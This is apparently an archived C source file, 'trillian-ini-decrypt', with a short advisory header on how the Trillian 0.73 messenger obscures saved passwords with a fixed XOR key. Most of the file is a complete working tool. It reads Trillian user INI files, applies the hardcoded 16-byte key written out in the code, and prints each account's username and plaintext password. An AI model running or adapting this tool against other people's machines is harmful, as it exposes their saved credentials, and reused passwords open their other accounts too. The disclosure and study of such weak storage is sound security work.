home *** CD-ROM | disk | FTP | other *** search
- /********************************
- * trillian-ini-decrypt
- * By The Coeus Group
- * http://www.coeus-group.com
- ********************************
- * Software: Trillian 0.73, possibly others.
- * Issue: Weak "encryption" of saved passwords.
- * Impact: Decryption of saved passwords.
- * Severity: Medium. ish. The program only works locally, and only
- * if the subject has saved their password, and really
- * if someone can get into your AIM account, how earth-
- * shattering is that??? However, since a lot of people
- * use the same password for everything... What's easier,
- * getting the password from Trillian, or Wells Fargo???
- ********************************
- * Trillian is, according to trillian.cc, "...everything you need for instant
- * messaging. Connect to ICQ«, AOL Instant Messenger(SM), MSN Messenger, Yahoo!
- * Messenger and IRC in a single, sleek and slim interface."
- *
- * Upon examination of the Trillian directory (which defaults to
- * C:\Program Files\Trillian\ ), it appears that passwords are stored in
- * ini files that are located in {Path to Trillian}\users\{WindowsLogon}. The
- * passwords are encrypted using a simple XOR with a key apparently uniform
- * throughout every installation.
- *
- * This program takes, as command line argument(s), path(s) to these INI files.
- * It will then display a list of usernames, "encrypted" passwords, and plaintext
- * passwords.
- *
- * Evan Nemerson
- * enemerson@coeus-group.com */
-
- #include <stdio.h>
- #include <errno.h>
- #include <stdlib.h>
-
- #ifndef FALSE
- #define FALSE 0
- #endif
-
- #ifndef TRUE
- #define TRUE 1
- #endif
-
- void toupper(char* string);
- int strlen(const char *s);
- int strBeginsWith(const char *needle, const char *haystack);
- int strIs(const char *subj, const char *eq);
- void extractAcctounts(FILE *fp);
- char *hex2str(char *string);
- void decrypt();
- void outPasswds();
- void printhelp();
- int main(int argc, char *argv[]);
-
- struct account
- {
- char username[64];
- char cyphertext[64];
- char plaintext[32];
- };
-
- extern int errno;
- struct account *pAccounts[32];
- short int nAccounts = 0;
- char key[] = "\xF3\x26\x81\xC4"
- "\x39\x86\xDB\x92"
- "\x71\xA3\xB9\xE6"
- "\x53\x7A\x95\x7C";
-
- void toupper(char* string)
- {
- short int x = 0;
- for ( x = 0 ; x < (strlen(string)) ; x++ )
- {
- if ( ( string[x] > 96 ) && ( string[x] < 123 ) )
- string[x] -= 32;
- }
- }
-
- int strlen(const char *s)
- {
- short int n = 0;
- while ( s[n] != 0 )
- n++;
- return n;
- }
-
- int strBeginsWith(const char *needle, const char *haystack)
- {
- short int x;
-
- if ( strlen(needle) > strlen(haystack) )
- return FALSE;
-
- for ( x = 0 ; x < strlen(needle) ; x++ )
- {
- if ( needle[x] != haystack[x] )
- return FALSE;
- }
-
- return TRUE;
- }
-
- int strIs(const char *subj, const char *eq)
- {
- short int x;
-
- if ( strlen(subj) != strlen(eq) )
- return FALSE;
- for ( x = 0 ; x < strlen(subj) ; x++ )
- {
- if ( subj[x] != eq[x] )
- return FALSE;
- }
-
- return TRUE;
- }
-
- void extractAcctounts(FILE *fp)
- {
- char buff[256], *ptr;
- int x;
- while ( !feof(fp) )
- {
- fgets(buff, 255, fp);
- if ( strBeginsWith("name=", buff) )
- {
- buff[strlen(buff)-1] = 0;
- pAccounts[nAccounts] = (struct account*)malloc(sizeof(struct account));
- if ( pAccounts[nAccounts] == NULL )
- {
- perror("Failed to malloc()");
- exit(errno);
- }
- ptr = pAccounts[nAccounts]->username;
- for ( x = 5 ; x < strlen(buff) ; x++ )
- {
- ptr[x-5] = buff[x];
- }
- ptr[x-5] = 0;
- nAccounts++;
- }
- if ( strBeginsWith("password=", buff) )
- {
- buff[strlen(buff)-1] = 0;
- ptr = pAccounts[nAccounts-1]->cyphertext;
- for ( x = 9 ; x < strlen(buff) ; x++ )
- {
- ptr[x-9] = buff[x];
- }
- ptr[x-9] = 0;
- }
- }
- }
-
- char *hex2str(char *string)
- {
- int x=0,n=0,i=0;
- unsigned char hex[2];
- unsigned char *out;
- out = (unsigned char*)malloc((strlen(string)/2)+1);
- if ( out == NULL )
- {
- perror("Failed to malloc()");
- exit(errno);
- }
-
- // For hex number...
- for ( x = 0 ; x < strlen(string) ; x+=2 )
- {
- out[i] = 0;
- // Convert ASCII 0-F to decimal.
- hex[0] = string[x]-48;
- hex[1] = string[x+1]-48;
- for ( n = 0 ; n < 2 ; n++ )
- {
- if ( hex[n] > 9 )
- hex[n] -= 7;
- }
- out[i++] = (hex[0]*16)+hex[1];
- }
- out[i++] = 0;
- return out;
- }
-
- void decrypt()
- {
- int n, x;
- char *plain, *cypher;
-
- for ( x = 0 ; x < nAccounts ; x++ )
- {
- cypher = hex2str(pAccounts[x]->cyphertext);
- plain = pAccounts[x]->plaintext;
-
- for ( n = 0 ; n < (strlen(cypher)-1) ; n++ )
- {
- plain[n] = cypher[n] ^ key[n];
- }
- }
- }
-
- void outPasswds()
- {
- int x;
- printf(
- "/----------------------------\\\n"
- "| trillian-ini-decrypt |\n"
- "| By The Coeus Group |\n"
- "| http://www.coeus-group.com |\n"
- "\\----------------------------/\n");
- printf("Found %d accounts.\n\n", nAccounts);
- for ( x = 0 ; x < nAccounts ; x++ )
- {
- printf( "Username: : %s\n"
- "Password (encrypted): %s\n"
- "Password (decrypted): %s\n\n",
- pAccounts[x]->username,
- pAccounts[x]->cyphertext,
- pAccounts[x]->plaintext
- );
- }
- }
-
- void printhelp()
- {
- printf( "Just put the path to Trillian INI file as command-line\n"
- "parameter. Don't forget to quote as needed. Will accept\n"
- "multiple files.\n");
- exit(0);
- }
-
- int main(int argc, char *argv[])
- {
- short int x;
- FILE *fp;
-
- if ( ( argc < 2 ) ) { printhelp(); }
- if ( ( strIs(argv[1], "-h") ) |
- ( strIs(argv[1], "--help") ) |
- ( strIs(argv[1], "/?") )
- ) printhelp();
-
- for ( x = 1 ; x < argc ; x++ )
- {
- fp = fopen(argv[x], "r");
- if ( fp == NULL )
- {
- perror("Error");
- exit(errno);
- }
- extractAcctounts(fp);
- }
-
- decrypt();
- outPasswds();
-
- return 0;
- }